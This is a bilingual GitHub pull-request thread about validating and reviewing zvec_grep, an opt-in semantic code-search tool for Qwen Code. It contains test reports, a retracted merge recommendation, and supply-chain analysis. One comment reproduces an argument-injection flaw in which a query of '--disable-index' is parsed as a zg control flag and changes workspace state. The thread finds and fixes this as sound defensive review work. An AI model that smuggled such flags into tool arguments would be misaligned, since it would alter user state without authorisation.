  • Commit tested: b5933c38b (PR head) · merged onto main
  • Environment: macOS (darwin arm64), Node v22.23.1, npm 10.9.8, vitest 3.2.4
  • Method: isolated git worktree + clean npm install; packages/core built first (the CLI config test loads the built @qwen-code/qwen-code-core)

1 · Build · typecheck · lint · test suite

Step Command Result
Build core npm run build --workspace @qwen-code/qwen-code-core ✅ exit 0
Typecheck tsc --noEmit (core + cli) ✅ exit 0
Lint eslint on the 8 changed .ts files ✅ exit 0
zvec-grep.test.ts npx vitest run 27 passed
core/config.test.ts npx vitest run 371 passed
coreToolScheduler.test.ts npx vitest run 259 passed
builtin-agents.test.ts npx vitest run 9 passed
cli/config.test.ts npx vitest run 269 passed
Total 935 / 935 (5 files)

build & tests

2 · Real end-to-end (no mocks): compiled tool ⇄ live zg

The unit tests mock spawn() at the process boundary, so I additionally installed the exact pinned package the tool auto-installs (@zvec/zvec-grep@0.1.4) and drove the compiled ZvecGrepTool from packages/core/dist against the real binary — nothing stubbed except a minimal Config:

  • A · rg (exact/regex) mode — no index, no API key. pattern:"class ZvecGrepTool"Found 1 match, correct symbol-aware output, and resultFilePaths resolved + recorded as a partial read. Permission: allow.
  • B · semantic mode with no embedding keygraceful lexical fallback via zg --rg (Found 20 matches), exactly as designed when the vector index / embeddings are unavailable. Permission: allow.
  • C · external-path safety gate — in-workspace search resolves to allow (runs silently); a search reaching outside the workspace resolves to ask and produces the Confirm zvec-grep external path search confirmation listing the external path. After (simulated) approval it returns the real external match.

real end-to-end

3 · Opt-in gating confirmed

Off by default and enforced in three independent places — core (zvecGrepEnabled ?? false), settings schema (tools.zvecGrep.enabled default false), and CLI wiring (=== true, force-off in bare/safe mode). The core config.test.ts additions assert the tool is not registered by default and is registered only when zvecGrepEnabled: true.

4 · Scope not exercised & one consideration for reviewers

  • True vector semantic search was not exercised end-to-end — this environment has no embedding API key (ZVEC_GREP_API_KEY / DASHSCOPE_API_KEY / QWEN_API_KEY) and no built index, so semantic queries fall back to lexical search. The mocked unit test covers the "ready index + key" argv path (--embedding qwen/text-embedding-v4), and I verified the live fallback path; the real vector-ranked results themselves were not measured here.
  • Auto-install side effect (design note, not a blocker): the first real invocation of an enabled zvec_grep on a machine without zg runs npm install -g @zvec/zvec-grep@0.1.4 (network + global write), gated only by the opt-in flag — the install itself is not separately confirmed. Since the tool is off by default and only the maintainer/user can enable it, this is acceptable, but worth a conscious decision (and possibly a doc note).

Conclusion

From a local-validation standpoint this PR is green: it compiles, passes the full affected test suite, is correctly gated off-by-default, and the compiled tool works end-to-end against the real zg binary including the external-path confirmation gate. Recommend proceeding, with the auto-install behavior noted above called out for a conscious sign-off.

🇨🇳 中文版本(点击展开)

✅ 本地验证报告 — zvec_grep 搜索工具

我从源码构建了本 PR,并在真实的 zg 二进制上进行了本地验证(不仅仅是 mock 的测试)。结论:可构建、类型检查通过、lint 通过,5 个受影响文件共 935 个测试全部通过,编译后的工具端到端行为正确。文末列出一个供审查者知悉的设计点。

  • 测试提交: b5933c38b(PR head),已合并到 main
  • 环境: macOS(darwin arm64),Node v22.23.1,npm 10.9.8,vitest 3.2.4
  • 方法: 独立 git worktree + 干净的 npm install;先构建 packages/core(CLI 的 config 测试会加载已构建的 @qwen-code/qwen-code-core

1 · 构建 · 类型检查 · lint · 测试套件

步骤 命令 结果
构建 core npm run build --workspace @qwen-code/qwen-code-core ✅ exit 0
类型检查 tsc --noEmit(core + cli) ✅ exit 0
Lint 对 8 个改动的 .ts 文件执行 eslint ✅ exit 0
zvec-grep.test.ts npx vitest run 27 通过
core/config.test.ts npx vitest run 371 通过
coreToolScheduler.test.ts npx vitest run 259 通过
builtin-agents.test.ts npx vitest run 9 通过
cli/config.test.ts npx vitest run 269 通过
合计 935 / 935(5 个文件)

2 · 真实端到端(无 mock):编译后的工具 ⇄ 真实 zg

单元测试在进程边界 mock 了 spawn(),因此我额外安装了工具会自动安装的那个固定版本包(@zvec/zvec-grep@0.1.4),并用**packages/core/dist 中编译后的 ZvecGrepTool** 直接调用真实二进制——除了一个最小化的 Config 之外没有任何桩:

  • A · rg(精确/正则)模式 — 无需索引、无需 API key。pattern:"class ZvecGrepTool"Found 1 match,输出带符号信息,resultFilePaths 正确解析并记录为部分读取。权限:allow
  • B · 无 embedding key 的 semantic 模式 → 按设计优雅降级zg --rg 词法搜索(Found 20 matches)。权限:allow
  • C · 外部路径安全门 — 工作区内搜索解析为 allow(静默执行);触及工作区外的搜索解析为 ask,并生成 Confirm zvec-grep external path search 确认框、列出外部路径;(模拟)批准后返回真实的外部匹配。

3 · 确认为可选开启(opt-in)

默认关闭,并在三处独立强制:core(zvecGrepEnabled ?? false)、settings schema(tools.zvecGrep.enabled 默认 false)、CLI 接线(=== true,bare/safe 模式强制关闭)。core 的 config.test.ts 新增用例断言:默认注册该工具,仅当 zvecGrepEnabled: true 时才注册。

4 · 未覆盖范围与一个供审查者关注的点

  • 真正的向量语义搜索未做端到端验证 — 本环境没有 embedding API key(ZVEC_GREP_API_KEY / DASHSCOPE_API_KEY / QWEN_API_KEY)也没有已构建索引,因此语义查询会降级为词法搜索。mock 单元测试覆盖了"索引就绪 + 有 key"的参数路径(--embedding qwen/text-embedding-v4),我也在真实环境验证了降级路径;但真实的向量排序结果本身未在此测量。
  • 自动安装的副作用(设计说明,非阻断项): 在未安装 zg 的机器上首次真正调用已启用的 zvec_grep 时,会执行 npm install -g @zvec/zvec-grep@0.1.4(联网 + 全局写入),仅由 opt-in 开关把关——安装本身不会单独确认。由于工具默认关闭、只有维护者/用户能开启,这是可接受的,但值得有意识地决策(并可能加一条文档说明)。

结论

从本地验证角度看本 PR 为绿灯:可编译、受影响测试全通过、正确地默认关闭,且编译后的工具在真实 zg 二进制上端到端可用(含外部路径确认门)。建议推进合并,同时对上面提到的自动安装行为做一次有意识的确认。

@wenshao

wenshao commented Jul 11, 2026

Copy link
Copy Markdown
Collaborator

@qwen-code /triage

@wenshao

wenshao commented Jul 11, 2026

Copy link
Copy Markdown
Collaborator

⚠️ Correction to my earlier validation — I'm walking back the "recommend proceeding" verdict

Following up on my earlier local-validation comment and @LaZzyMan's review: the review is correct, and my earlier "green / recommend proceeding" conclusion was too optimistic. I re-tested with adversarial inputs and reproduced the P1 issues locally.

My earlier run used benign inputs (class ZvecGrepTool, a plain sentence) and leaned on the mocked suite, so it never exercised the argv/CLI-contract or regex classes. @LaZzyMan's point stands: the passing mocked tests do not cover the CLI contract and side effects. The 935 green tests, the build/typecheck/lint, and the opt-in gating are still valid — but they do not clear these blockers, and I should not have recommended proceeding.

Independent reproduction (real zg 0.1.4, throwaway workspace)

#1 — model-controlled query parsed as a control flag (state mutation). The semantic builder emits zg <query> --limit 20 … with no -- boundary, so a query of --disable-index runs as a control command:

$ zg --status .                       # policy = undecided
$ zg --disable-index --limit 20 .     # <- "semantic query" == --disable-index
$ zg --status .                       # policy = disabled   ← workspace state mutated
$ zg --rg --status .                  # rg pattern "--status" -> Error: --rg can only be used with query commands

Source confirms it: buildSearchArgs() returns [query, '--limit', …] and buildGrepArgs() returns ['--rg', query, …] — the model's string sits in argv before the flags. Fix as suggested: emit all flags first, then --, then the positional query/paths.

#6 — semantic→rg fallback passes the raw NL query as an unescaped regex.

$ zg --rg 'a('    → rg: regex parse error: unclosed group
$ zg --rg 'C++'   → interpreted as regex  C+  then  +   (not a literal)

#4 / #5 — confirmed by source. buildIndexArgs() copies the query's path/glob/exclude into the persistent --index, while the job/index identity is sha1(cwd) only (getWorkspaceJobKey) → a scoped first query yields a permanently narrow "ready" index. addScopeArgs() merges path-globs + glob into one comma-joined --include, giving the OR/over-broad scope in #5.

Net

All seven findings hold up; #1 and #4 in particular are genuine correctness/safety blockers at the core-tool boundary, and #2/#3 (disclosing the auto global install and the remote-indexing/API-cost behavior at the opt-in boundary) are the right call. I'm retracting my earlier recommendation — this needs the P1 fixes (query/flag isolation via --, full-workspace or scope-keyed index, regex escaping, bounded timeout/install lifecycle) and a completed PR body before it should merge. Thanks @LaZzyMan for the thorough catch.

🇨🇳 中文版本(点击展开)

⚠️ 对我此前验证结论的更正 —— 收回"建议合并"的结论

接续我此前的本地验证评论以及 @LaZzyMan评审该评审是正确的,我此前"绿灯 / 建议合并"的结论过于乐观。 我用对抗性输入重新测试,并在本地复现了这些 P1 问题。

我此前用的是良性输入class ZvecGrepTool、一句普通自然语言),并依赖 mock 测试套件,因此完全没有触及 argv/CLI 契约和正则这几类问题。@LaZzyMan 的观点成立:通过的 mock 测试并不能覆盖 CLI 契约和副作用。 935 个通过的测试、build/typecheck/lint 以及 opt-in 门控仍然有效——但它们并不能清除这些阻塞项,我不应给出建议合并的结论。

独立复现(真实 zg 0.1.4,一次性 workspace)

#1 — 模型生成的查询被当作控制参数(篡改状态)。 语义构造器生成 zg <query> --limit 20 …,没有 -- 边界,因此查询 --disable-index 会作为控制命令执行:

$ zg --status .                       # policy = undecided
$ zg --disable-index --limit 20 .     # <- “语义查询” == --disable-index
$ zg --status .                       # policy = disabled   ← workspace 状态被篡改
$ zg --rg --status .                  # rg pattern "--status" -> Error: --rg can only be used with query commands

源码印证:buildSearchArgs() 返回 [query, '--limit', …]buildGrepArgs() 返回 ['--rg', query, …]——模型的字符串位于 flag 之前。按建议修复:先放全部 flag,再 --,最后是位置参数 query/paths。

#6 — 语义降级为 rg 时,把未转义的自然语言查询当作正则。

$ zg --rg 'a('    → rg: regex parse error: unclosed group(括号未闭合)
$ zg --rg 'C++'   → 被解释为正则  C+  再接  +(不是字面量)

#4 / #5 — 源码确认。 buildIndexArgs() 把查询的 path/glob/exclude 写入持久化 --index,而任务/索引身份仅为 sha1(cwd)getWorkspaceJobKey)→ 一次窄范围首查会得到永久性偏窄的 "ready" 索引。addScopeArgs() 把 path-globs 与 glob 合并进同一个逗号分隔的 --include,导致 #5 的 OR/过宽范围。

结论

七条发现全部成立;其中 #1#4 是核心工具边界上真实的正确性/安全阻塞项,#2/#3(在 opt-in 边界披露自动全局安装、远程索引及 API 费用行为)也是正确的要求。我撤回此前的建议合并结论——本 PR 需要先修复这些 P1(用 -- 隔离 query/flag、全 workspace 或按 scope 标识索引、正则转义、超时/安装生命周期加上界),并补齐 PR 描述后再考虑合并。感谢 @LaZzyMan 的细致排查。

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed. Suggestions are inline. 1 Suggestion-level finding(s) could not be anchored to the diff; see the terminal output. Unresolved, please confirm: [Critical] SKILL.md blocker: --include syntax and --api-key documentation (not in diff, author responded with version-pin and env-var explanations) [Critical] SKILL.md blocker: Bash(zg *) command injection and auto-approve scope (not in diff, no code change addresses this) [Critical] SKILL.md blocker: routine queries may refresh remote-backed index (not in diff, no code change addresses this) [Critical] zvec-grep.ts: background index scoped to first query's narrow scope (still present in buildIndexArgs) [Critical] zvec-grep.ts: silent auto-install of zg without user consent (still present in runZg) [Critical] zvec-grep.ts: install promise cached permanently on non-aborted failure (needs verification against current code) Not reviewed: chunk 6 — launched with a prompt that is not the one the CLI built. Not reviewed: chunk 2 — launched with a prompt that is not the one the CLI built. Not reviewed: chunk 3 — launched with a prompt that is not the one the CLI built. Not reviewed: chunk 7 — launched with a prompt that is not the one the CLI built. Not reviewed: chunk 1 — launched with a prompt that is not the one the CLI built. Not reviewed: chunk 5 — launched with a prompt that is not the one the CLI built. Not reviewed: chunk 8 — launched with a prompt that is not the one the CLI built. Not reviewed: chunk 9 — launched with a prompt that is not the one the CLI built. Not reviewed: chunk 4 — launched with a prompt that is not the one the CLI built.

— qwen3.7-max via Qwen Code /review

Comment on lines +676 to +683
if (typeof globField === 'string' && globField.length > 0) {
push(
joinSearchRootAndGlob(
typeof pathField === 'string' ? pathField : undefined,
globField,
),
);
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] extractToolFilePaths joins glob with the singular path field but not with items from the paths array — Concrete cost: a call like zvec_grep({ paths: ['src/components'], glob: '*.tsx' }) searches src/components/**/*.tsx, but the path extraction only emits src/components and *.tsx as separate entries. Path-gated skills scoped to src/components/**/*.tsx will not activate.

Suggested change
if (typeof globField === 'string' && globField.length > 0) {
push(
joinSearchRootAndGlob(
typeof pathField === 'string' ? pathField : undefined,
globField,
),
);
}
if (typeof globField === 'string' && globField.length > 0) {
push(
joinSearchRootAndGlob(
typeof pathField === 'string' ? pathField : undefined,
globField,
),
);
if (Array.isArray(pathsField)) {
for (const item of pathsField) {
if (typeof item === 'string' && item.length > 0) {
push(joinSearchRootAndGlob(item, globField));
}
}
}
}

— qwen3.7-max via Qwen Code /review

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

🖼️ web-shell visual preview

Rendered against a mock daemon (no real backend): the PR base vs this PR head 1bf3df1. Only screenshots that changed are shown (flows below, if any, are head-only) — refreshes on every push.

Screenshots · before / after

split-view-restored-dark before/after

Full-resolution recordings (.webm) are attached to the workflow run.

Qwen Code · web-shell visuals

@wenshao

wenshao commented Jul 16, 2026

Copy link
Copy Markdown
Collaborator

✅ Maintainer local validation — PR 6096 (zvec_grep)

I built and exercised this PR locally against a freshly-fetched origin/main. Everything is green, including a live end-to-end run against the real pinned zg binary — which the shipped test suite mocks out entirely. Recommending merge; one minor, non-blocking hardening note at the end.

Baseline: merge-base bbec6dffb · PR head 1bf3df111 · origin/main 10a39d15d · 26 files, +3645 / −7 · macOS · Node v22.23.1 · vitest 3.2.4.


1 · Test suite — 1440 passing, 0 failing

Ran all 8 modified test files for real:

Package / files Tests
core — zvec-grep.test.ts (flagship) 54
core — config · coreToolScheduler · permission-manager · builtin-agents · subagent-manager 1087
cli — config · AskUserQuestionDialog 299 ✅ (+1 skipped)
Total 1440 ✅ / 0 ❌

Test suite — 1440 passing


2 · Live end-to-end — 10 / 10 against the real zg 0.1.5 (no mocks)

The shipped tests mock spawn, so no test touches the real binary. I installed the pinned @zvec/zvec-grep@0.1.5 (exactly what the tool auto-installs) and drove the real ZvecGrepTool and the real core Config.createToolRegistry():

  • A1 — rg search through ZvecGrepTool.execute() → real hit and resultFilePaths recorded ✅
  • A2 — semantic with no index / no API key → graceful fallback to rg, real results returned ✅
  • A3 — external-path search → consent required (getDefaultPermission()==="ask" + confirmation prompt names the path); in-workspace search → "allow" (no prompt) ✅
  • B — opt-in gating through the real registry: setting OFF = 62 tools (no zvec_grep), ON = 63 tools, and the delta is exactly ["zvec_grep"]
  • C — Explore built-in agent tool set includes zvec_grep

Live E2E harness — 10/10 vs real zg 0.1.5


3 · Build integrity + real command surface

  • tsc --noEmit (core) → 0 errors
  • eslint on all 13 changed core + cli files → clean
  • Settings-schema CI gate — regenerated vscode-ide-companion/schemas/settings.schema.jsonno drift (in sync)
  • tsc --noEmit (cli) → 0 PR errors (the 2 TS6305 are on an unrelated toml-to-markdown file — a symlinked-worktree stale-dist artifact, not from this diff)
  • Confirmed the tool drives the 0.1.5 subcommand surface it targets: zg query --rg …, zg status (structured output consumed by parseStatus()).

Build integrity + real binary


Integration review — wiring is coherent

  • Single-point opt-in. Only Config.isZvecGrepEnabled() gates registration; everywhere else the tool is listed unconditionally and filtered out when unregistered (Explore's list + subagent-manager's drop branch, so a disabled tool leaks neither name nor log noise into subagents). CLI maps tools.zvecGrep.enabled strictly (=== true) and forces it off in bare/safe mode.
  • Security. zvec_grep is registered as a Read meta-category tool in rule-parser, so it inherits every Read allow/ask/deny rule and path scope — the Read-deny-on-.env test confirms a deny blocks it. A semantic search tool can't read what the user denied.
  • Read-tracking. coreToolScheduler adds zvec_grep to FS_PATH_TOOL_NAMES and extracts path / paths[] / path+glob (not exclude, correctly) so results feed follow-up read tracking and conditional-rule / skill activation.
  • Consent UX. The allowCustomInput:false dialog change is used by exactly one production caller — zvec-grep's consent prompt.

Minor · non-blocking

The tool pins & auto-installs @zvec/zvec-grep@0.1.5 and drives its subcommand surface (zg query / index / status). If an older global zg is already on PATH (e.g. 0.1.4, the flat-flag surface), it is used without a version checkzg query --rg … then mis-parses query as a path (warning: skipped missing path: query); rg mode still returns results, but status / semantic parsing can diverge. A lightweight zg --version guard (or a documented minimum version) would harden this. Not a blocker — the common path (no pre-existing zg, or a fresh install) works correctly.

Out of local scope: a live semantic index build against the remote DashScope embedding model (needs an API key + network). The semantic arg-construction and status parsing are covered by the shipped unit tests, and the rg-fallback path is verified live above.


Verdict: ✅ LGTM. Builds clean, 1440 tests green, and opt-in gating / external-path consent / Read-rule security inheritance / Explore integration are all verified end-to-end against the real binary.

🇨🇳 中文版本(点击展开)

✅ 维护者本地验证 — PR 6096(zvec_grep

我基于最新的 origin/main 在本地构建并实际运行了本 PR,全部通过,其中包括一次针对 PR 所固定的真实 zg 二进制的端到端运行——而 PR 自带的测试套件把这个二进制完全 mock 掉了。建议合并;文末有一条不阻塞合并的小建议。

基线: merge-base bbec6dffb · PR head 1bf3df111 · origin/main 10a39d15d · 26 个文件,+3645 / −7 · macOS · Node v22.23.1 · vitest 3.2.4。

1 · 测试套件 — 1440 通过,0 失败

真实运行了全部 8 个被修改的测试文件

包 / 文件 用例
core — zvec-grep.test.ts(旗舰) 54
core — config · coreToolScheduler · permission-manager · builtin-agents · subagent-manager 1087
cli — config · AskUserQuestionDialog 299 ✅(另有 1 个 skipped)
合计 1440 ✅ / 0 ❌

(见上方第 1 张截图)

2 · 端到端 — 针对真实 zg 0.1.5 10 / 10(无 mock)

PR 的测试 mock 了 spawn,因此没有任何测试触碰真实二进制。我安装了固定版本 @zvec/zvec-grep@0.1.5(即工具自动安装的版本),并驱动了真实ZvecGrepTool真实的核心 Config.createToolRegistry()

  • A1 — rg 搜索 经由 ZvecGrepTool.execute() → 命中真实结果记录了 resultFilePaths
  • A2 — 语义模式在无索引/无 API key 时 → 优雅回退到 rg,仍返回真实结果 ✅
  • A3 — 工作区外路径搜索 → 需要确认(getDefaultPermission()==="ask" + 确认提示包含该路径);工作区内搜索 → "allow"(无需确认)✅
  • B — opt-in 门控 经由真实注册表:设置 关闭 = 62 个工具(无 zvec_grep开启 = 63 个工具,差异恰好为 ["zvec_grep"]
  • C — Explore 内置 agent 的工具集包含 zvec_grep

(见上方第 2 张截图)

3 · 构建完整性 + 真实命令面

  • tsc --noEmit(core)→ 0 错误
  • eslint 对全部 13 个改动的 core + cli 文件 → 干净
  • settings-schema CI 门禁 — 重新生成 settings.schema.json无漂移(已同步)
  • tsc --noEmit(cli)→ 0 个 PR 相关错误(2 个 TS6305 出现在无关的 toml-to-markdown 文件上,属 symlink 工作树的 dist 陈旧产物,与本 diff 无关)
  • 确认工具驱动的是它所面向的 0.1.5 子命令面zg query --rg …zg status(其结构化输出由 parseStatus() 解析)。

(见上方第 3 张截图)

集成审查 — 接线一致

  • 单点 opt-in:仅 Config.isZvecGrepEnabled() 决定是否注册;其余各处无条件列出该工具,未注册时被过滤(Explore 列表 + subagent-manager 的丢弃分支,因此关闭时不会向子 agent 泄漏工具名或日志噪声)。CLI 严格映射 tools.zvecGrep.enabled=== true),并在 bare/safe 模式下强制关闭。
  • 安全zvec_greprule-parser 中注册为 Read 元类别工具,因而继承所有 Read 的 allow/ask/deny 规则与路径范围——.envRead-deny 测试证明 deny 会拦截它。语义搜索工具无法读取用户已拒绝的文件。
  • 读取追踪coreToolSchedulerzvec_grep 加入 FS_PATH_TOOL_NAMES,并提取 path / paths[] / path+glob(正确地不含 exclude),使结果进入后续读取追踪与条件规则 / skill 激活。
  • 确认 UXallowCustomInput:false 这个对话框改动在生产代码里只有一个调用方——即 zvec-grep 的确认提示。

小建议 · 不阻塞

工具固定并自动安装 @zvec/zvec-grep@0.1.5,驱动其子命令面(zg query / index / status)。如果 PATH 上已存在较旧的全局 zg(例如 0.1.4,扁平 flag 面),工具会不做版本检查直接使用它——此时 zg query --rg … 会把 query 误当作路径(warning: skipped missing path: query);rg 模式仍能返回结果,但 status / 语义解析可能出现偏差。加一个轻量的 zg --version 校验(或在文档中标注最低版本)可以增强健壮性。不阻塞——常见路径(无预装 zg 或全新安装)工作正常。

本地未覆盖: 针对远程 DashScope embedding 模型的真实语义索引构建(需要 API key + 网络)。语义参数构造与 status 解析由 PR 自带单测覆盖,rg 回退路径已在上文实测。

结论:✅ LGTM。 构建干净、1440 个测试全绿;opt-in 门控 / 工作区外确认 / Read 规则安全继承 / Explore 集成均已针对真实二进制端到端验证。

Validated locally on an isolated worktree at PR head 1bf3df111; evidence images rendered from real command output.

wenshao
wenshao previously approved these changes Jul 16, 2026
@wenshao

wenshao commented Jul 16, 2026

Copy link
Copy Markdown
Collaborator

🔍 Merge-readiness research (follow-up to my validation comment above)

My earlier comment covered does the code work (1440 tests + 10/10 live E2E against the real binary — all green). This one covers should it merge: review-state audit, supply-chain facts, and what actually remains open. Bottom line: the implementation has reached the merge bar; what blocks merge today is review-state bookkeeping plus a documentation gap, and there is one supply-chain trade-off maintainers should accept explicitly rather than implicitly.


1 · Review-state audit — why this PR still shows CHANGES_REQUESTED

I re-verified every standing objection against the current head (1bf3df111).

@LaZzyMan's 7-point review (2026-07-10, head b5933c38) — all 7 are addressed on the current head:

# Finding Status at 1bf3df111
1 P1 query passed to zg without -- end-of-options boundary ✅ Fixed — buildSearchArgs/buildGrepArgs emit flags first, then -- (verified live; --disable-index as a query is now inert text)
2 P1 auto-install not disclosed at the opt-in boundary ⚠️ Partially — runtime consent dialog now states the exact npm install -g @zvec/zvec-grep@0.1.5; the settings description and user docs still don't (see §3)
3 P1 automatic remote indexing not disclosed ⚠️ Partially — consent dialog explicitly says workspace code fragments + queries go to the Qwen/DashScope embedding service and names the local-model alternative; docs still missing
4 P1 first scoped query bakes a permanently incomplete index ✅ Fixed — buildIndexArgs() is now scope-free (['index','--embedding',<model>]), always full-workspace
5 P2 path×glob composed with OR semantics (over-broad) ✅ Fixed — new intersectScopeAndGlob() computes the intersection
6 P2 semantic→rg fallback passes unescaped regex (a( crashes, C++C+) ✅ Fixed — every fallback path, including the zero-token case, goes through escapeRgRegex
7 P2 no SIGTERM→SIGKILL escalation; failed install cached forever ✅ Fixed — createChildTerminator escalates to SIGKILL after 5s; install promise resets on any !result.ok

Thread inventory: 36 unresolved threads, but only 4 describe the current code.

  • 20 sit on the deleted packages/core/src/skills/bundled/zvec-grep/SKILL.md from the abandoned skill-based design — all outdated, should be batch-resolved.
  • 5 more are marked outdated by GitHub (argument-injection, scoped-index, stderr-as-results, comma-joined includes, steering description — all fixed by the rework).
  • 7 are not marked outdated but are fixed in substance on the current head; each deserves a short reply + resolve: silent auto-install (now consent-gated — the only installZvecGrep call site sits behind setupApproved; the hardcoded --registry npmmirror is gone, only the user's own npm_config_registry is passed through), install-promise caching (resets on failure), validateToolParamValues coverage (parameter-contract test exists), timeout/abort/truncation coverage (5 dedicated tests: abort-before-spawn, kill-on-abort, kill-on-timeout, install-abort, install force-kill), SIGKILL escalation (present), greedy brace expansion (now non-greedy + recursive), Explore debug-warning (subagent-manager silently drops the name when unregistered).
  • 4 remain genuinely true — all minor, reasonable as follow-ups: no max-runtime guard on the detached background indexer; query silently wins over pattern when both are provided; extractToolFilePaths doesn't compose paths[]×glob (read-tracking granularity only); npm install -g runs without --ignore-scripts — note this one is a trade-off, not an oversight: @vscode/ripgrep's postinstall is what downloads the rg binary, so --ignore-scripts would break the package; the real fix belongs upstream.

Process gap: the PR body is missing the template's Tested on table, Risk & Scope, Linked Issues, and the full 中文说明 block — the CI bot will keep requesting changes until that's fixed. It also needs @LaZzyMan to re-review so the stale CHANGES_REQUESTED state clears.


2 · Supply-chain facts (the one real trade-off to accept explicitly)

  • @zvec/zvec-grep was published 2026-06-30 — the day before this PR opened — clearly built for this integration. Six releases in 16 days; the pinned 0.1.5 shipped the same day as the current head. Maintainer is zvec@alibaba-inc.com (Alibaba-official; same vendor trust chain as Qwen Code + DashScope itself).
  • The npm tarball is compiled dist/ only, and the declared repo github.com/zvec-ai/zvec-grep returns 404 (the zvec-ai org has 9 public repos; this isn't one of them). Apache-2.0, but not source-auditable today.
  • The CLI surface is already churning pre-1.0: 0.1.4 used flat flags, 0.1.5 moved to subcommands — I reproduced locally that a pre-existing global 0.1.4 mis-parses the tool's zg query --rg … invocation (warning: skipped missing path: query). The tool never version-checks zg, so users with an older global install get degraded behavior silently. A lightweight zg --version guard is the single highest-value hardening item.
  • Scale/platform: a clean global install is ~172 MB (all-language tree-sitter WASMs + native vector-db bindings). Native bindings exist for darwin-arm64 / linux-x64 / linux-arm64 / win32-x64 — no darwin-x64, so Intel-Mac users can never get semantic mode (graceful rg fallback applies, but they still install 172 MB). Upstream requires Node ≥ 22.
  • The zg child gets the full process.env (it needs DASHSCOPE_API_KEY/QWEN_API_KEY for embedding); the install step, by contrast, runs against a strict env allowlist (PATH/HOME/proxy/npm_config/CA only) — good separation.
  • Mitigations that make this acceptable: default-off, forced off in bare/safe mode, explicit first-use consent that names the install and the remote data flow, workspace-scoped opt-out, Read-rule inheritance, external-path confirmation.

3 · What the benchmark actually shows

The headline (−28% tokens on this repo, −29% on the vector-db repo) holds for the warm-index + semantic + no-subagent configuration specifically. Two distributional caveats from the PR's own numbers: across all zvec-enabled runs where the model actually called it, average total tokens (685,019) were ≈ baseline (689,891); and regex-only zvec usage was more expensive than baseline grep (929,164 vs 689,891 on this repo; 719,059 vs 391,615 on the other). The win is real but concentrated: it depends on a warm index and semantic-style usage, and answer-quality scoring (4.8/5) is a self-graded heuristic. Worth keeping in mind when deciding defaults and how strongly the tool description should steer rg-style traffic here.


4 · Suggested path to merge

  1. Author: complete the PR body per the template (Tested on, Risk & Scope, Linked Issues, full 中文说明) — clears the CI-bot gate.
  2. Author: batch-resolve the 20 stale SKILL.md threads; reply-and-resolve the 7 fixed-in-substance threads (one line each pointing at the fix); acknowledge the 4 true minors as follow-ups.
  3. Author: add a user docs page (docs/users/features/zvec-grep.md): how to enable, what first use installs (~172 MB), the remote-embedding privacy/cost implications, ZVEC_GREP_EMBEDDING=local/… alternative, Intel-Mac limitation, and how to disable per-workspace. This also fully closes LaZzyMan's Where is the config saved? #2/如何自定义密钥文件 .env可能与其他文件冲突 #3.
  4. Recommended (pre-merge or fast-follow): add a zg version-compatibility check.
  5. @LaZzyMan re-review once 1–3 land.
  6. Post-merge asks to the zvec team: publish the zvec-grep source repo (auditability), ship a darwin-x64 binding, and treat every future pin bump as a CLI-surface revalidation.
🇨🇳 中文版本(点击展开)

🔍 合入可行性调研(上面验证评论的后续)

我此前的评论回答的是代码是否工作(1440 个测试 + 针对真实二进制的 10/10 端到端验证——全绿)。本条回答的是是否应该合入:评审状态审计、供应链事实、以及真正遗留的问题。结论:实现质量已达合入线;当前阻塞合入的是评审状态的簿记工作和一个文档缺口,另有一个供应链权衡建议维护者显式确认而非默认接受。

1 · 评审状态审计 — 为什么 PR 仍显示 CHANGES_REQUESTED

我将所有未撤销的反对意见逐条对照当前 head(1bf3df111)重新验证。

@LaZzyMan 7 月 10 日的 7 点评审(基于 head b5933c38)—— 当前 head 已全部回应:

# 问题 1bf3df111 状态
1 P1 查询未经 -- 边界直接传给 zg ✅ 已修——buildSearchArgs/buildGrepArgs 先输出选项再 --(实测 --disable-index 作为查询已是惰性文本)
2 P1 未在开启配置处披露自动安装 ⚠️ 部分——运行时确认对话框已写明 npm install -g @zvec/zvec-grep@0.1.5;设置描述与用户文档仍未提及(见 §3)
3 P1 未披露自动远程索引 ⚠️ 部分——确认对话框已明示代码片段+查询会发送至 Qwen/DashScope embedding 服务并给出本地模型替代;文档仍缺失
4 P1 首次窄范围查询固化出永久残缺的索引 ✅ 已修——buildIndexArgs() 不再携带 scope(['index','--embedding',<model>]),始终全仓索引
5 P2 path×glob 按 OR 语义组合(范围过宽) ✅ 已修——新增 intersectScopeAndGlob() 求交集
6 P2 语义降级 rg 时正则未转义(a( 崩溃、C++C+ ✅ 已修——包括零 token 兜底在内的所有降级路径均经 escapeRgRegex
7 P2 无 SIGTERM→SIGKILL 升级;安装失败被永久缓存 ✅ 已修——createChildTerminator 5 秒后升级 SIGKILL;任何 !result.ok 都会重置安装 promise

线程盘点:36 条未解决线程,其中仅 4 条描述的是当前代码。

  • 20 条挂在已废弃 skill 方案的 SKILL.md(文件已删除)上——全部过时,应批量 resolve。
  • 5 条已被 GitHub 标记 outdated(参数注入、窄范围索引、stderr 当结果、逗号拼接 include、引导性描述——重构均已修复)。
  • 7 条未标 outdated 但实质已修复,值得逐条简短回复后 resolve:静默安装(现仅 consent 后安装——installZvecGrep 唯一调用点在 setupApproved 之后;硬编码 --registry npmmirror 已删除,仅透传用户自己的 npm_config_registry)、安装 promise 缓存(失败即重置)、validateToolParamValues 覆盖(已有参数契约测试)、超时/中止/截断覆盖(5 个专项测试)、SIGKILL 升级(已存在)、贪婪 brace 展开(已改非贪婪+递归)、Explore 调试告警(未注册时 subagent-manager 静默丢弃)。
  • 4 条属实——均为小问题,适合 follow-up:detached 后台索引进程无最长运行时间;querypattern 同时提供时 pattern 被静默忽略;extractToolFilePaths 未组合 paths[]×glob(仅影响读取追踪粒度);npm install -g 未加 --ignore-scripts——注意这条是权衡而非疏漏:@vscode/ripgrep 依赖 postinstall 下载 rg 二进制,加了会直接装坏,真正的修复在上游发行方式。

流程缺口: PR 描述缺少模板要求的 Tested on 表、Risk & ScopeLinked Issues 和完整 中文说明——补齐前 CI bot 会持续 CHANGES_REQUESTED。还需要 @LaZzyMan 复审以清除历史 block。

2 · 供应链事实(唯一需要显式确认的权衡)

